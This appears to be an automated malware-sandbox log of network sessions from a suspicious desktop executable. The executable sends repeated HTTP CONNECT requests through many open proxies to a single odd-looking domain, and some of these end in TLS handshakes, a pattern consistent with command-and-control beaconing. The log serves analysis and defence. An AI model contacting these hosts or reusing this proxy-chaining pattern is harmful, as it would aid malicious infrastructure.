Mar 11, 2024 15:23:05.652997017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
844	192.168.2.9	52686	89.218.8.152	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.623574972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
845	192.168.2.9	51113	206.220.175.2	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.625575066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
846	192.168.2.9	52749	37.235.48.19	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.625575066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
847	192.168.2.9	52415	162.215.219.157	48117	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.628215075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.638042927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.638123989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.638104916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
848	192.168.2.9	52724	202.162.219.12	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.628978968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
849	192.168.2.9	51037	45.174.87.18	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.630208015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.638040066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.638120890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.638077974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:29.637947083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:41.639355898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:53.637523890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:17.639139891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:05.653079033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
850	192.168.2.9	52957	188.114.98.25	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.630218029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
851	192.168.2.9	52967	49.51.94.12	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.632512093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
852	192.168.2.9	52816	162.159.242.230	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.634586096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.795516968 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
853	192.168.2.9	50891	189.240.60.168	9090	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.637243986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.908694983 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
854	192.168.2.9	52697	154.12.178.107	29985	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.647402048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
855	192.168.2.9	52977	188.114.98.25	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.650191069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
856	192.168.2.9	52732	203.95.199.159	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.650191069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
857	192.168.2.9	52695	185.82.218.52	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.650358915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
858	192.168.2.9	52791	212.127.93.185	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.651604891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
859	192.168.2.9	52978	49.51.94.12	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.651894093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
860	192.168.2.9	52789	193.239.56.84	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.652985096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
861	192.168.2.9	52772	91.148.127.162	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.654947996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
862	192.168.2.9	52026	192.252.209.155	14455	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.654952049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
863	192.168.2.9	52694	106.105.218.244	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.656306982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
864	192.168.2.9	52986	188.114.98.25	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.659041882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
865	192.168.2.9	52987	49.51.94.12	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.662923098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
866	192.168.2.9	52992	188.114.98.25	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.664372921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
867	192.168.2.9	52350	45.233.3.1	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.665741920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
868	192.168.2.9	52798	8.219.97.248	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.668728113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.020652056 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx
Mar 11, 2024 15:21:06.085978031 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 13 51 c9 48 e3 23 77 cd ae 83 fd 44 f3 22 77 c1 c6 f3 92 ce f3 ab 75 0f 01 80 7a 3a ad 6e 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eQH#wD"wuz:n*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 15:21:06.227515936 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx
Mar 11, 2024 15:21:11.122728109 CET	1280	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 13 52 b6 44 50 5e 71 bc de d5 b5 1e 94 e1 77 bf f1 e7 dc a5 14 6f 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?eRDP^qwoDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Mar 11, 2024 15:21:11.122744083 CET	168	IN	Data Raw: 4e 73 98 77 12 c6 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 Data Ascii: Nswm0H@hd-z_FcNBDFGi-}b@v*wTJ;dm55inz74\|"@,+v?iS
Mar 11, 2024 15:21:11.124336004 CET	1280	IN	Data Raw: d2 e7 91 27 74 d7 ee 13 8a 11 b0 a8 a3 e4 d5 3b 48 03 d9 a4 25 cb 08 0c 15 0b f0 5b 9d cd 27 fd a8 ef f9 8b c7 ac dc 0d be eb 0c 72 e2 42 ee 75 2a b8 1b b1 19 71 88 a8 e8 2c 14 2f 09 61 65 b1 cd 59 a5 fa 58 68 9d a3 d1 9c d8 9d c9 08 56 96 9f 42 Data Ascii: 't;H%['rBuq,/aeYXhVBc_[:72cG^x}gv00tP'S"0H0G10UUS1"0 UGoogle Trust Services LLC10UGTS Root R102008
Mar 11, 2024 15:21:11.124365091 CET	1280	IN	Data Raw: a1 a7 9e 5a a5 f7 09 94 ad 5d 76 5d 28 56 d1 1a 66 51 51 07 7b de 3d b0 c8 ef 30 7a 24 2d be b8 b3 86 f6 4b f7 f0 b5 4f ff ce c6 f9 f6 3f 2a 27 08 0f 09 3e 23 5a c7 e3 42 2d 7a 36 e4 3d 98 96 60 39 98 ea d1 db 63 2a eb 78 09 b1 4e 21 b3 8e b7 ce Data Ascii: Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\9+S/tgw7-[peZ%wjNuMjfynm"m,P5}pY*j%[ @4 awHI)adcGF9sO+Xe
Mar 11, 2024 15:21:11.127665997 CET	682	IN	Data Raw: 74 70 3a 2f 2f 63 72 6c 2e 70 6b 69 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e 63 72 6c 30 3b 06 03 55 1d 20 04 34 30 32 30 08 06 06 67 81 0c 01 02 01 30 08 06 06 67 81 0c 01 02 02 30 0d 06 0b 2b 06 01 04 01 d6 79 02 05 03 02 30 0d 06 0b 2b Data Ascii: tp://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0H4(v1z!R>tA=5\_\|W&o[Fh7okz7%QhIZ#+IjuXHW5ooNi-h
Mar 11, 2024 15:21:11.332063913 CET	1280	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 13 52 b6 44 50 5e 71 bc de d5 b5 1e 94 e1 77 bf f1 e7 dc a5 14 6f 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?eRDP^qwoDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Mar 11, 2024 15:21:14.133986950 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 45 df 4c 2a 55 bf c8 73 19 0e d4 d2 fb ac ae 52 bf 5e f6 c8 04 86 51 f1 31 01 43 28 9f e2 c7 04 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 77 17 c8 f2 84 c4 d4 74 25 c7 c4 74 49 11 92 03 7f fe 50 75 2a Data Ascii: %! ELUsR^Q1C((wt%tIPud34k}I
Mar 11, 2024 15:21:15.286813021 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 18 00 c0 ee 88 da 9c 5c 1b 63 ed b6 c6 bf c4 0f 7f 7a 07 df a2 50 94 de 2f 15 0d 03 5a ea e2 71 7d 95 13 d9 8d 47 e1 49 9b 4a a0 8b 29 cb 18 4d 98 bb 86 b5 27 da 55 f0 c8 19 6d cb d0 71 12 9f e0 74 e2 46 5d b9 Data Ascii: \czP/Zq}GIJ)M'UmqtF]'`l{4Z=j-`W>ml}kQ1Q2k~d}e-DYVZ\|Vk.N!zNP(Xme!}
Mar 11, 2024 15:21:15.675698996 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 18 00 c0 ee 88 da 9c 5c 1b 63 ed b6 c6 bf c4 0f 7f 7a 07 df a2 50 94 de 2f 15 0d 03 5a ea e2 71 7d 95 13 d9 8d 47 e1 49 9b 4a a0 8b 29 cb 18 4d 98 bb 86 b5 27 da 55 f0 c8 19 6d cb d0 71 12 9f e0 74 e2 46 5d b9 Data Ascii: \czP/Zq}GIJ)M'UmqtF]'`l{4Z=j-`W>ml}kQ1Q2k~d}e-DYVZ\|Vk.N!zNP(Xme!}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
869	192.168.2.9	51080	103.97.179.115	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.673880100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
870	192.168.2.9	52801	111.90.150.109	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.676022053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
871	192.168.2.9	50673	103.154.146.66	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.692605972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.825542927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.825824976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.825421095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.848413944 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
872	192.168.2.9	53045	43.157.51.43	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
